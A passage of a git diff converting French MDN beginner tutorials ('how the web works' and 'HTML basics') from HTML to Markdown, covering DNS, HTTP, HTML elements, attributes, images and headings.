constitués essentiellement de HTML, de CSS et de JavaScript (nous découvrirons d'autres technologies plus tard).</li> - <li><strong>les ressources :</strong> ce vocable recouvre tous les autres matériaux utilisés pour construire un site web : images, musiques, vidéos, documents Word et PDF.</li> - </ul> - </li> -</ul> +- **la connexion Internet** : elle permet l'envoi et la réception de données sur le web. Dans notre comparaison, elle correspond à la rue entre la maison et le magasin. +- **TCP/IP** : **\*T**ransmission **C**ontrol **P**rotocol / **I**nternet **P**rotocol\* (en français : protocole de contrôle de transmission et protocole Internet) sont des protocoles définissant comment les données voyagent sur le web. C'est comme les mécanismes de transport qui vous permettent de passer une commande, d'aller au magasin et d'acheter vos marchandises. Dans notre exemple, ce serait une voiture ou un vélo (ou quoi que ce soit d'autre que vous trouveriez). +- **DNS** : **\*D**omain **N**ame **S**ystem\* (serveur de noms de domaines) est une sorte d'annuaire pour sites web. Lorsque vous saisissez une adresse dans le navigateur, ce dernier consulte le DNS pour trouver l'adresse réelle du site web avant de la récupérer. Le navigateur a besoin de savoir sur quel serveur le site web est situé pour pouvoir envoyer des requêtes HTTP au bon endroit (voir ci-après). Cela correspond à la recherche de l'adresse du magasin pour pouvoir vous y rendre. +- **HTTP** : **\*H**yper**T**ext **T**ransfer **P**rotocol\* (protocole de transfert hypertexte) est un {{Glossary("Protocol" , "protocole")}} d'application définissant le language de communication entre les clients et les serveurs. C'est la langue utilisée pour commander vos produits. +- **les fichiers composants** : un site web est constitué de divers fichiers. Ils peuvent être vus comme diverses parties des produits achetés au magasin. Ces fichiers peuvent être rangés dans deux catégories : -<h2 id="Donc_que_se_passe-t-il_exactement">Donc que se passe-t-il, exactement ?</h2> + - **les fichiers de code** : les sites web sont constitués essentiellement de HTML, de CSS et de JavaScript (nous découvrirons d'autres technologies plus tard). + - **les ressources :** ce vocable recouvre tous les autres matériaux utilisés pour construire un site web : images, musiques, vidéos, documents Word et PDF. -<p>Lorsque vous saisissez une adresse web dans votre navigateur (dans notre comparaison, c'est comme aller au magasin) :</p> +## Donc que se passe-t-il, exactement ? -<ol> - <li>le navigateur demande au DNS l'adresse réelle du serveur contenant le site web (vous trouvez l'adresse du magasin).</li> - <li>le navigateur envoie une requête HTTP au serveur pour lui demander d'envoyer une copie du site web au client (vous allez au magasin et vous passez commande). Ce message, et les autres données envoyées entre le client et le serveur, sont échangés par l'intermédiaire de la connexion internet en utilisant TCP/IP.</li> - <li>si le serveur accepte la requête émise par le client, le serveur envoie un message « 200 OK » au client qui signifie : « Pas de problème, tu peux consulter ce site web, le voici ». Ensuite le serveur commence à envoyer les fichiers du site web au navigateur sous forme d'une série de petits morceaux nommés "paquet" (le magasin vous livre les produits et vous les ramenez chez vous).</li> - <li>le navigateur assemble les différents morceaux pour recomposer le site web en entier puis l'affiche sur votre écran (les produits sont à votre porte — des nouveaux trucs tout neufs, génial !).</li> -</ol> +Lorsque vous saisissez une adresse web dans votre navigateur (dans notre comparaison, c'est comme aller au magasin) : -<h2 id="Des_explications_sur_le_DNS">Des explications sur le DNS</h2> +1. le navigateur demande au DNS l'adresse réelle du serveur contenant le site web (vous trouvez l'adresse du magasin). +2. le navigateur envoie une requête HTTP au serveur pour lui demander d'envoyer une copie du site web au client (vous allez au magasin et vous passez commande). Ce message, et les autres données envoyées entre le client et le serveur, sont échangés par l'intermédiaire de la connexion internet en utilisant TCP/IP. +3. si le serveur accepte la requête émise par le client, le serveur envoie un message « 200 OK » au client qui signifie : « Pas de problème, tu peux consulter ce site web, le voici ». Ensuite le serveur commence à envoyer les fichiers du site web au navigateur sous forme d'une série de petits morceaux nommés "paquet" (le magasin vous livre les produits et vous les ramenez chez vous). +4. le navigateur assemble les différents morceaux pour recomposer le site web en entier puis l'affiche sur votre écran (les produits sont à votre porte — des nouveaux trucs tout neufs, génial !). -<p>Les vraies adresses Web ne sont pas les chaînes agréables et mémorisables que vous tapez dans votre barre d'adresse pour trouver vos sites Web favoris, mais des suites de chiffres. Ces suites de chiffre sont des nombres spéciaux qui ressemblent à ceci : 63.245.208.195.</p> +## Des explications sur le DNS -<p>Ce sont des {{Glossary("IP Address", "adresses IP")}} ; elles représentent un endroit unique sur le Web. Par contre, elles ne sont pas très faciles à retenir (n'est‑ce pas ?). C'est pour cela que le système des noms de domaine (DNS) a été conçu. Les serveurs DNS sont des serveurs spéciaux qui font correspondre une adresse web saisie dans le navigateur (par exemple « mozilla.org ») avec l'adresse réelle (IP) du serveur du site.</p> +Les vraies adresses Web ne sont pas les chaînes agréables et mémorisables que vous tapez dans votre barre d'adresse pour trouver vos sites Web favoris, mais des suites de chiffres. Ces suites de chiffre sont des nombres spéciaux qui ressemblent à ceci : 63.245.208.195. -<p>Il est possible d'atteindre directement les sites web en utilisant leurs adresses IP. Pour aller sur le site de Mozilla, vous pouvez saisir <code>63.245.215.20</code> dans la barre d'adresse d'un nouvel onglet de votre navigateur.</p> +Ce sont des {{Glossary("IP Address", "adresses IP")}} ; elles représentent un endroit unique sur le Web. Par contre, elles ne sont pas très faciles à retenir (n'est‑ce pas ?). C'est pour cela que le système des noms de domaine (DNS) a été conçu. Les serveurs DNS sont des serveurs spéciaux qui font correspondre une adresse web saisie dans le navigateur (par exemple « mozilla.org ») avec l'adresse réelle (IP) du serveur du site. -<p><img alt="A domain name is just another form of an IP address" src="dns-ip.png"></p> +Il est possible d'atteindre directement les sites web en utilisant leurs adresses IP. Pour aller sur le site de Mozilla, vous pouvez saisir `63.245.215.20` dans la barre d'adresse d'un nouvel onglet de votre navigateur. -<h2 id="Explications_sur_les_paquets">Explications sur les paquets</h2> + -<p>Un peu plus haut dans l'article, nous avons utilisé le terme « paquet » pour décrire le format avec lequel les données étaient envoyées depuis le serveur vers le client. Qu'est-ce que cela signifie ? Pour simplifier, lorsque des données sont envoyées sur le Web, elles sont envoyées en milliers de petits morceaux afin que de nombreux utilisateurs puissent consulter la même page web au même moment. Si les sites web étaient envoyés en un seul gros morceau, un seul utilisateur pourrait le télécharger à un moment donné (les autres devraient attendre leur tour), ce qui rendrait le web beaucoup moins pratique à utiliser et beaucoup moins performant.</p> +## Explications sur les paquets -<h2 id="Voir_aussi">Voir aussi</h2> +Un peu plus haut dans l'article, nous avons utilisé le terme « paquet » pour décrire le format avec lequel les données étaient envoyées depuis le serveur vers le client. Qu'est-ce que cela signifie ? Pour simplifier, lorsque des données sont envoyées sur le Web, elles sont envoyées en milliers de petits morceaux afin que de nombreux utilisateurs puissent consulter la même page web au même moment. Si les sites web étaient envoyés en un seul gros morceau, un seul utilisateur pourrait le télécharger à un moment donné (les autres devraient attendre leur tour), ce qui rendrait le web beaucoup moins pratique à utiliser et beaucoup moins performant. -<ul> - <li><a href="/fr/Apprendre/Fonctionnement_Internet">Comment Internet fonctionne</a></li> - <li><a href="https://dev.opera.com/articles/http-basic-introduction/">HTTP — an Application-Level Protocol</a> (en) <em>(HTTP - un protocole de niveau application)</em></li> - <li><a href="https://dev.opera.com/articles/http-lets-get-it-on/">HTTP: Let’s GET It On!</a> (en) <em>(HTTP: Allons-y !)</em></li> - <li><a href="https://dev.opera.com/articles/http-response-codes/">HTTP: Response Codes</a> (en) <em>(HTTP: Codes de réponse)</em></li> -</ul> +## Voir aussi -<h2 id="Crédit">Crédit</h2> +- [Comment Internet fonctionne](/fr/Apprendre/Fonctionnement_Internet) +- [HTTP — an Application-Level Protocol](https://dev.opera.com/articles/http-basic-introduction/) (en) _(HTTP - un protocole de niveau application)_ +- [HTTP: Let’s GET It On!](https://dev.opera.com/articles/http-lets-get-it-on/) (en) _(HTTP: Allons-y !)_ +- [HTTP: Response Codes](https://dev.opera.com/articles/http-response-codes/) (en) _(HTTP: Codes de réponse)_ -<p>Photo de rue : <a href="https://www.flickr.com/photos/kdigga/9110990882/in/photolist-cXrKFs-c1j6hQ-mKrPUT-oRTUK4-7jSQQq-eT7daG-cZEZrh-5xT9L6-bUnkip-9jAbvr-5hVkHn-pMfobT-dm8JuZ-gjwYYM-pREaSM-822JRW-5hhMf9-9RVQNn-bnDMSZ-pL2z3y-k7FRM4-pzd8Y7-822upY-8bFN4Y-kedD87-pzaATg-nrF8ft-5anP2x-mpVky9-ceKc9W-dG75mD-pY62sp-gZmXVZ-7vVJL9-h7r9AQ-gagPYh-jvo5aM-J32rC-ibP2zY-a4JBcH-ndxM5Y-iFHsde-dtJ15p-8nYRgp-93uCB1-o6N5Bh-nBPUny-dNJ66P-9XWmVP-efXhxJ">Street composing</a>, par <a href="https://www.flickr.com/photos/kdigga/">Kevin D</a>.</p> +## Crédit -<p>{{PreviousMenu("Apprendre/Commencer_avec_le_web/Publier_votre_site_web","Apprendre/Commencer_avec_le_web")}}</p> +Photo de rue : [Street composing](https://www.flickr.com/photos/kdigga/9110990882/in/photolist-cXrKFs-c1j6hQ-mKrPUT-oRTUK4-7jSQQq-eT7daG-cZEZrh-5xT9L6-bUnkip-9jAbvr-5hVkHn-pMfobT-dm8JuZ-gjwYYM-pREaSM-822JRW-5hhMf9-9RVQNn-bnDMSZ-pL2z3y-k7FRM4-pzd8Y7-822upY-8bFN4Y-kedD87-pzaATg-nrF8ft-5anP2x-mpVky9-ceKc9W-dG75mD-pY62sp-gZmXVZ-7vVJL9-h7r9AQ-gagPYh-jvo5aM-J32rC-ibP2zY-a4JBcH-ndxM5Y-iFHsde-dtJ15p-8nYRgp-93uCB1-o6N5Bh-nBPUny-dNJ66P-9XWmVP-efXhxJ), par [Kevin D](https://www.flickr.com/photos/kdigga/). -<h2 id="Dans_ce_module">Dans ce module</h2> +{{PreviousMenu("Apprendre/Commencer_avec_le_web/Publier_votre_site_web","Apprendre/Commencer_avec_le_web")}} -<ul> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base">Installation des outils de base</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site">Quel sera l'aspect de votre site web ?</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/G%C3%A9rer_les_fichiers">Gérer les fichiers</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Les_bases_HTML">Les bases du HTML</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Les_bases_CSS">Les bases de CSS</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Les_bases_JavaScript">Les bases de JavaScript</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Publier_votre_site_web">Publier votre site web</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web">Le fonctionnement du Web</a></li> -</ul> +## Dans ce module + +- [Installation des outils de base](/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base) +- [Quel sera l'aspect de votre site web ?](/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site) +- [Gérer les fichiers](/fr/Apprendre/Commencer_avec_le_web/G%C3%A9rer_les_fichiers) +- [Les bases du HTML](/fr/Apprendre/Commencer_avec_le_web/Les_bases_HTML) +- [Les bases de CSS](/fr/Apprendre/Commencer_avec_le_web/Les_bases_CSS) +- [Les bases de JavaScript](/fr/Apprendre/Commencer_avec_le_web/Les_bases_JavaScript) +- [Publier votre site web](/fr/Apprendre/Commencer_avec_le_web/Publier_votre_site_web) +- [Le fonctionnement du Web](/fr/Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web) diff --git a/files/fr/learn/getting_started_with_the_web/html_basics/index.md b/files/fr/learn/getting_started_with_the_web/html_basics/index.md index b0a4bab53f..0060d3fd17 100644 --- a/files/fr/learn/getting_started_with_the_web/html_basics/index.md +++ b/files/fr/learn/getting_started_with_the_web/html_basics/index.md @@ -11,219 +11,229 @@ tags: translation_of: Learn/Getting_started_with_the_web/HTML_basics original_slug: Apprendre/Commencer_avec_le_web/Les_bases_HTML --- -<div>{{LearnSidebar}}<br> -{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Gérer_les_fichiers", "Apprendre/Commencer_avec_le_web/Les_bases_CSS", "Apprendre/Commencer_avec_le_web")}}</div> +{{LearnSidebar}} +{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Gérer_les_fichiers", "Apprendre/Commencer_avec_le_web/Les_bases_CSS", "Apprendre/Commencer_avec_le_web")}} -<p><strong>H</strong>yper<strong>T</strong>ext <strong>M</strong>arkup <strong>L</strong>anguage (HTML) est le code utilisé pour structurer une page web et son contenu. Par exemple, le contenu de votre page pourra être structuré en un ensemble de paragraphes, une liste à puces ou avec des images et des tableaux de données. Comme le suggère le titre, cet article vous fournit les bases de compréhension du HTML et de ses fonctions.</p> +**H**yper**T**ext **M**arkup **L**anguage (HTML) est le code utilisé pour structurer une page web et son contenu. Par exemple, le contenu de votre page pourra être structuré en un ensemble de paragraphes, une liste à puces ou avec des images et des tableaux de données. Comme le suggère le titre, cet article vous fournit les bases de compréhension du HTML et de ses fonctions. -<h2 id="Qu'est-ce_que_HTML_réellement">Qu'est-ce que HTML, réellement ?</h2> +## Qu'est-ce que HTML, réellement ? -<p>HTML n'est pas un langage de programmation. C'est un <em>langage de balises</em> qui définit la structure de votre contenu. HTML se compose d'une série d'<strong>{{Glossary("element", "éléments")}}</strong>, utilisés pour entourer, ou envelopper, les diverses parties du contenu pour les faire apparaître ou agir d'une certaine façon. Les {{Glossary("tag", "balises")}} entourantes peuvent être rendues par un mot ou une image lien hypertexte vers quelque chose d'autre, un texte en italique, une police plus grande ou plus petite, et ainsi de suite. Par exemple, avec la ligne de contenu suivante :</p> +HTML n'est pas un langage de programmation. C'est un _langage de balises_ qui définit la structure de votre contenu. HTML se compose d'une série d'**{{Glossary("element", "éléments")}}**, utilisés pour entourer, ou envelopper, les diverses parties du contenu pour les faire apparaître ou agir d'une certaine façon. Les {{Glossary("tag", "balises")}} entourantes peuvent être rendues par un mot ou une image lien hypertexte vers quelque chose d'autre, un texte en italique, une police plus grande ou plus petite, et ainsi de suite. Par exemple, avec la ligne de contenu suivante : -<pre>Mon chat est très grincheux</pre> + Mon chat est très grincheux -<p>Si vous souhaitez que cette ligne reste ainsi, nous indiquerons qu'il s'agit d'un paragraphe en l'entourant des balises paragraphe :</p> +Si vous souhaitez que cette ligne reste ainsi, nous indiquerons qu'il s'agit d'un paragraphe en l'entourant des balises paragraphe : -<pre class="brush: html"><p>Mon chat est très grincheux</p></pre> +```html +<p>Mon chat est très grincheux</p> +``` -<h3 id="Anatomie_d'un_élément_HTML">Anatomie d'un élément HTML</h3> +### Anatomie d'un élément HTML -<p>Regardons de plus près cet élément paragraphe :</p> +Regardons de plus près cet élément paragraphe : -<p><img alt="Diagramme décrivant la structure d'un élément HTML" src="chat-grincheuxl.png"></p> + -<p>Les composants principaux de notre élément sont :</p> +Les composants principaux de notre élément sont : -<ol> - <li><strong>La balise ouvrante :</strong> celle-ci se compose du nom de l'élément (ici « p »), entre deux <strong>chevrons</strong>. Cela indique le début de l'élément, soit l'endroit à partir duquel celui-ci prend effet. Pour notre exemple, cela indique le début du paragraphe.</li> - <li><strong>La balise fermante :</strong> ici on a également des chevrons et le nom de l'élément, auxquels on ajoute une barre oblique avant le nom de l'élément. Cela indique la fin de l'élément. Pour notre exemple, cela indique la fin du paragraphe. Oublier la balise fermante est une erreur courante de débutant et peut conduire à de curieux résultats.</li> - <li><strong>Le contenu :</strong> C'est le contenu de l'élément. Ici, c'est simplement du texte.</li> - <li><strong>L'élément :</strong> Il est composé de la balise ouvrante, de la balise fermante et du contenu.</li> -</ol> +1. **La balise ouvrante :** celle-ci se compose du nom de l'élément (ici « p »), entre deux **chevrons**. Cela indique le début de l'élément, soit l'endroit à partir duquel celui-ci prend effet. Pour notre exemple, cela indique le début du paragraphe. +2. **La balise fermante :** ici on a également des chevrons et le nom de l'élément, auxquels on ajoute une barre oblique avant le nom de l'élément. Cela indique la fin de l'élément. Pour notre exemple, cela indique la fin du paragraphe. Oublier la balise fermante est une erreur courante de débutant et peut conduire à de curieux résultats. +3. **Le contenu :** C'est le contenu de l'élément. Ici, c'est simplement du texte. +4. **L'élément :** Il est composé de la balise ouvrante, de la balise fermante et du contenu. -<p>Les éléments peuvent aussi avoir des « attributs », ce qui ressemble à :</p> +Les éléments peuvent aussi avoir des « attributs », ce qui ressemble à : -<p><img alt="Diagramme explicitant un attribut" src="attribut-chat-grincheux.png"></p> + -<p>Les attributs contiennent des informations supplémentaires qui portent sur l'élément et qu'on ne souhaite pas afficher avec le contenu. Dans cet exemple, l'attribut <code>class</code> permet d'utiliser un nom pour identifier l'élément et ce nom pourra être utilisé plus tard pour la mise en forme ou autre chose.</p> +Les attributs contiennent des informations supplémentaires qui portent sur l'élément et qu'on ne souhaite pas afficher avec le contenu. Dans cet exemple, l'attribut `class` permet d'utiliser un nom pour identifier l'élément et ce nom pourra être utilisé plus tard pour la mise en forme ou autre chose. -<p>Un attribut doit toujours avoir :</p> +Un attribut doit toujours avoir : -<ol> - <li>Un espace entre l'attribut et le nom de l'élément ou l'attribut précédent (s'il y a plusieurs attributs) ;</li> - <li>Un nom (le nom de l'attribut), suivi d'un signe égal « = » ;</li> - <li>Des guillemets anglais (") pour encadrer la valeur de l'attribut.</li> -</ol> +1. Un espace entre l'attribut et le nom de l'élément ou l'attribut précédent (s'il y a plusieurs attributs) ; +2. Un nom (le nom de l'attribut), suivi d'un signe égal « = » ; +3. Des guillemets anglais (") pour encadrer la valeur de l'attribut. -<h3 id="Imbriquer_des_éléments">Imbriquer des éléments</h3> +### Imbriquer des éléments -<p>Vous pouvez placer des éléments au sein d'autres éléments, c'est ce qu'on appelle l'<strong>imbrication</strong>. Par exemple, si vous souhaitez montrer que votre chat est <strong>très</strong> grincheux, vous pouvez placer le mot « très » dans un élement {{htmlelement("strong")}}, signifiant que le mot sera fortement mis en relief :</p> +Vous pouvez placer des éléments au sein d'autres éléments, c'est ce qu'on appelle l'**imbrication**. Par exemple, si vous souhaitez montrer que votre chat est **très** grincheux, vous pouvez placer le mot « très » dans un élement {{htmlelement("strong")}}, signifiant que le mot sera fortement mis en relief : -<pre class="example-good brush: html"><p>Mon chat est <strong>très</strong> grincheux.</p></pre> +```html example-good +<p>Mon chat est <strong>très</strong> grincheux.</p> +``` -<p>Toutefois, il faut faire attention à ce que les éléments soient bien imbriqués les uns dans les autres. Dans l'exemple précédent, on ouvre l'élément {{htmlelement("p")}}, puis l'élément {{htmlelement("strong")}}. Nous devrons donc fermer l'élément {{htmlelement("strong")}} d'abord, puis l'élement {{htmlelement("p")}}. Le code suivant est incorrect :</p> +Toutefois, il faut faire attention à ce que les éléments soient bien imbriqués les uns dans les autres. Dans l'exemple précédent, on ouvre l'élément {{htmlelement("p")}}, puis l'élément {{htmlelement("strong")}}. Nous devrons donc fermer l'élément {{htmlelement("strong")}} d'abord, puis l'élement {{htmlelement("p")}}. Le code suivant est incorrect : -<pre class="example-bad brush: html"><p>Mon chat est <strong>très grincheux.</p></strong></pre> +```html example-bad +<p>Mon chat est <strong>très grincheux.</p></strong> +``` -<p>Les éléments doivent être ouverts et fermés correctement de façon à ce qu'ils soient clairement à l'intérieur ou à l'extérieur les uns des autres. S'ils se chevauchent, le navigateur essaiera de choisir la meilleure option, qui ne sera peut-être pas ce que vous vouliez dire et pourrait conduire à des résultats inattendus. Donc ne le faites pas !</p> +Les éléments doivent être ouverts et fermés correctement de façon à ce qu'ils soient clairement à l'intérieur ou à l'extérieur les uns des autres. S'ils se chevauchent, le navigateur essaiera de choisir la meilleure option, qui ne sera peut-être pas ce que vous vouliez dire et pourrait conduire à des résultats inattendus. Donc ne le faites pas ! -<h3 id="Les_éléments_vides">Les éléments vides</h3> +### Les éléments vides -<p>Certains éléments n'ont pas de contenu. Ces éléments sont appelés <strong>éléments vides</strong>. Prenons l'élément {{htmlelement("img")}} présent dans notre fichier HTML :</p> +Certains éléments n'ont pas de contenu. Ces éléments sont appelés **éléments vides**. Prenons l'élément {{htmlelement("img")}} présent dans notre fichier HTML : -<pre class="brush: html"><img src="images/firefox-icon.png" alt="Mon image test" /></pre> +```html +<img src="images/firefox-icon.png" alt="Mon image test" /> +``` -<p>Cet élément contient deux attributs mais les balises ouvrante <code><img></code> et fermante <code></img></code> sont remplacées par une balise auto-fermante <code><img /></code> et il n'y a aucun contenu interne. En effet, l'élément image n'embarque pas de contenu, son but est d'intégrer une image dans la page HTML, à l'endroit où l'élément est placé.</p> +Cet élément contient deux attributs mais les balises ouvrante `<img>` et fermante `</img>` sont remplacées par une balise auto-fermante `<img />` et il n'y a aucun contenu interne. En effet, l'élément image n'embarque pas de contenu, son but est d'intégrer une image dans la page HTML, à l'endroit où l'élément est placé. -<h3 id="Anatomie_d'un_document_HTML">Anatomie d'un document HTML</h3> +### Anatomie d'un document HTML -<p>Pour l'instant, nous avons vu quelques éléments HTML de base. Pris séparément, ils ne sont pas très utiles. Regardons comment les combiner pour créer une page HTML complète. Nous allons repartir de l'exemple contenu dans le fichier <code>index.html</code> (qu'on a créé dans l'article <a href="/fr/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers">Gérer les fichiers</a>) :</p> +Pour l'instant, nous avons vu quelques éléments HTML de base. Pris séparément, ils ne sont pas très utiles. Regardons comment les combiner pour créer une page HTML complète. Nous allons repartir de l'exemple contenu dans le fichier `index.html` (qu'on a créé dans l'article [Gérer les fichiers](/fr/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers)) : -<pre class="brush: html"><!DOCTYPE html> -<html> - <head> - <meta charset="utf-8"> - <title>Ma page de test</title> - </head> - <body> - <img src="images/firefox-icon.png" alt="Mon image de test"> - </body> -</html></pre> +```html +<!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>Ma page de test</title> + </head> + <body> + <img src="images/firefox-icon.png" alt="Mon image de test"> + </body> +</html> +``` -<p>Cet exemple contient :</p> +Cet exemple contient : -<ul> - <li><code><!DOCTYPE html></code> — le <em>doctype</em>. Au début de HTML, dans les années 1991-1992, les <em>doctypes</em> étaient utilisés pour faire référence à des ensembles de règles qu'on pouvait utiliser pour dire qu'un document était du HTML « valide » et détecter les erreurs de balisage. Cependant, ceux-ci ne sont plus utilisés aujourd'hui et sont juste présents pour s'assurer que la page puisse fonctionner y compris sur les anciens navigateurs. Pour le moment, c'est tout ce qu'il y a à savoir à propos des <em>doctypes</em>.</li> - <li><code><html></html></code> — l'élément <code><html></code>. Cet élément encadre tout le contenu de la page. Cet élément est parfois appelé l'élément racine.</li> - <li><code><head></head></code> — l'élément <code><head></code>. Cet élément est utilisé comme un container pour toutes les choses qui font partie de la page HTML mais qui ne sont pas du contenu affiché. C'est dans cet élément qu'on mettra des {{Glossary("keyword", "mots-clés")}}, une description de la page qui apparaîtra sur les moteurs de recherche, les liens vers les fichiers CSS à utiliser pour la mise en forme, les déclarations des jeux de caractères à utiliser et ainsi de suite.</li> - <li><code><body></body></code> — l'élément {{htmlelement("body")}}. Cet élément est celui qui contient <em>tout</em> le contenu que vous souhaitez afficher pour qu'il soit vu par les visiteurs : cela peut être du texte, des images, des vidéos, des jeux, des pistes audio jouables, et ainsi de suite.</li> - <li><code><meta charset="utf-8"></code> — Cet élément définit le jeu de caractères qui devrait être utilisé pour le document et indique que c'est utf-8. utf-8 regroupe l'ensemble des caractères connus utilisés dans les différents langages humains. Généralement, utf-8 permet de gérer n'importe quel texte que vous pourriez utiliser sur la page. Il n'y a pas de raison de ne pas le définir, et il permet d'éviter certains problèmes plus tard.</li> - <li><code><title></title></code> — L'élément {{htmlelement("title")}} définit le titre de votre page. C'est ce titre qui apparaîtra sur l'onglet lorsque la page sera chargée. C'est également ce titre qui sera utilisé pour décrire la page lorsque vous la placez dans vos marques-pages.</li> -</ul> +- `<!DOCTYPE html>` — le _doctype_. Au début de HTML, dans les années 1991-1992, les _doctypes_ étaient utilisés pour faire référence à des ensembles de règles qu'on pouvait utiliser pour dire qu'un document était du HTML « valide » et détecter les erreurs de balisage. Cependant, ceux-ci ne sont plus utilisés aujourd'hui et sont juste présents pour s'assurer que la page puisse fonctionner y compris sur les anciens navigateurs. Pour le moment, c'est tout ce qu'il y a à savoir à propos des _doctypes_. +- `<html></html>` — l'élément `<html>`. Cet élément encadre tout le contenu de la page. Cet élément est parfois appelé l'élément racine. +- `<head></head>` — l'élément `<head>`. Cet élément est utilisé comme un container pour toutes les choses qui font partie de la page HTML mais qui ne sont pas du contenu affiché. C'est dans cet élément qu'on mettra des {{Glossary("keyword", "mots-clés")}}, une description de la page qui apparaîtra sur les moteurs de recherche, les liens vers les fichiers CSS à utiliser pour la mise en forme, les déclarations des jeux de caractères à utiliser et ainsi de suite. +- `<body></body>` — l'élément {{htmlelement("body")}}. Cet élément est celui qui contient _tout_ le contenu que vous souhaitez afficher pour qu'il soit vu par les visiteurs : cela peut être du texte, des images, des vidéos, des jeux, des pistes audio jouables, et ainsi de suite. +- `<meta charset="utf-8">` — Cet élément définit le jeu de caractères qui devrait être utilisé pour le document et indique que c'est utf-8. utf-8 regroupe l'ensemble des caractères connus utilisés dans les différents langages humains. Généralement, utf-8 permet de gérer n'importe quel texte que vous pourriez utiliser sur la page. Il n'y a pas de raison de ne pas le définir, et il permet d'éviter certains problèmes plus tard. +- `<title></title>` — L'élément {{htmlelement("title")}} définit le titre de votre page. C'est ce titre qui apparaîtra sur l'onglet lorsque la page sera chargée. C'est également ce titre qui sera utilisé pour décrire la page lorsque vous la placez dans vos marques-pages. -<h2 id="Images">Images</h2> +## Images -<p>Regardons à nouveau l'élément image :</p> +Regardons à nouveau l'élément image : -<pre class="brush: html"><img src="images/firefox-icon.png" alt="Mon image de test"></pre> +```html +<img src="images/firefox-icon.png" alt="Mon image de test"> +``` -<p>Comme on l'a vu auparavant, cet élément permet d'intégrer une image dans la page, à l'endroit où l'élément apparaît. L'image utilisée est définie via l'attribut <code>src</code> (pour source) qui contient le chemin vers le fichier de l'image.</p> +Comme on l'a vu auparavant, cet élément permet d'intégrer une image dans la page, à l'endroit où l'élément apparaît. L'image utilisée est définie via l'attribut `src` (pour source) qui contient le chemin vers le fichier de l'image. -<p>Nous avons aussi utilisé l'attribut <code>alt</code> (pour <strong>alt</strong>ernatif). Il contient un texte descriptif de l'image à l'intention des utilisateurs qui ne peuvent pas voir l'image, car :</p> +Nous avons aussi utilisé l'attribut `alt` (pour **alt**ernatif). Il contient un texte descriptif de l'image à l'intention des utilisateurs qui ne peuvent pas voir l'image, car : -<ol> - <li>ils sont mal-voyants. Les utilisateurs handicapés visuellement utilisent souvent des outils nommés lecteurs d'écrans pour lire le texte de cet attribut ;</li> - <li>quelque chose s'est mal passé et l'image n'a pas pu être affichée. Par exemple, modifiez volontairement le chemin dans votre attribut <code>src</code> et faites qu'il soit incorrect. Si vous enregistrez et rechargez la page, vous verrez quelque chose comme ceci à la place de l'image :</li> -</ol> +1. ils sont mal-voyants. Les utilisateurs handicapés visuellement utilisent souvent des outils nommés lecteurs d'écrans pour lire le texte de cet attribut ; +2. quelque chose s'est mal passé et l'image n'a pas pu être affichée. Par exemple, modifiez volontairement le chemin dans votre attribut `src` et faites qu'il soit incorrect. Si vous enregistrez et rechargez la page, vous verrez quelque chose comme ceci à la place de l'image : -<p><img alt="Mon image de test" src=""></p> +![Mon image de test]() -<p>Le point important qu'il faut retenir est que l'attribut est utilisé pour <strong>décrire</strong> l'image. Le texte contenu dans cet attribut doit fournir suffisamment d'informations pour que le lecteur puisse savoir ce que l'image représente. Par exemple, le texte que j'utilise « Mon image de test » n'est pas bon du tout. Une meilleure solution serait de mettre « Le logo Firefox, qui représente un renard de feu entourant la Terre ».</p> +Le point important qu'il faut retenir est que l'attribut est utilisé pour **décrire** l'image. Le texte contenu dans cet attribut doit fournir suffisamment d'informations pour que le lecteur puisse savoir ce que l'image représente. Par exemple, le texte que j'utilise « Mon image de test » n'est pas bon du tout. Une meilleure solution serait de mettre « Le logo Firefox, qui représente un renard de feu entourant la Terre ». -<p>Essayez d'améliorer le texte alternatif pour l'image maintenant.</p> +Essayez d'améliorer le texte alternatif pour l'image maintenant. -<div class="note"> -<p><strong>Note :</strong> Pour plus d'informations sur l'accessibilité, vous trouverez la section <a href="/fr/docs/Accessibilité">Accessibilité de MDN</a>.</p> -</div> +> **Note :** Pour plus d'informations sur l'accessibilité, vous trouverez la section [Accessibilité de MDN](/fr/docs/Accessibilité). -<h2 id="Baliser_le_texte">Baliser le texte</h2> +## Baliser le texte -<p>Dans cette section, nous verrons quelques-uns des éléments HTML de base pour baliser le texte.</p> +Dans cette section, nous verrons quelques-uns des éléments HTML de base pour baliser le texte. -<h3 id="Les_titres">Les titres</h3> +### Les titres -<p>Les éléments de titre permettent de définir certains textes comme des titres ou sous-titres pour le contenu. D'une certaine façon, ceux-ci fonctionnent comme pour un livre : on a le titre du livre (le plus important) puis les titres des différents chapitres et parfois des sous-titres au sein de ces chapitres. HTML contient des éléments pour 6 niveaux de titres : {{htmlelement("h1")}}–{{htmlelement("h6")}}. La plupart du temps, 3-4 niveaux suffisent amplement :</p> +Les éléments de titre permettent de définir certains textes comme des titres ou sous-titres pour le contenu. D'une certaine façon, ceux-ci fonctionnent comme pour un livre : on a le titre du livre (le plus important) puis les titres des différents chapitres et parfois des sous-titres au sein de ces chapitres. HTML contient des éléments pour 6 niveaux de titres : {{htmlelement("h1")}}–{{htmlelement("h6")}}. La plupart du temps, 3-4 niveaux suffisent amplement : -<pre class="brush: html"><h1>Mon titre principal</h1> -<h2>Mon titre de section</h2> -<h3>Mon sous-titre</h3> -<h4>Mon sous-sous-titre</h4></pre> +```html +<h1>Mon titre principal</h1> +<h2>Mon titre de section</h2> +<h3>Mon sous-titre</h3> +<h4>Mon sous-sous-titre</h4> +``` -<p>Vous pouvez ajouter un titre adapté à votre page avec un de ces éléments. Vous pouvez le placer au-dessus de l'élément {{htmlelement("img")}} 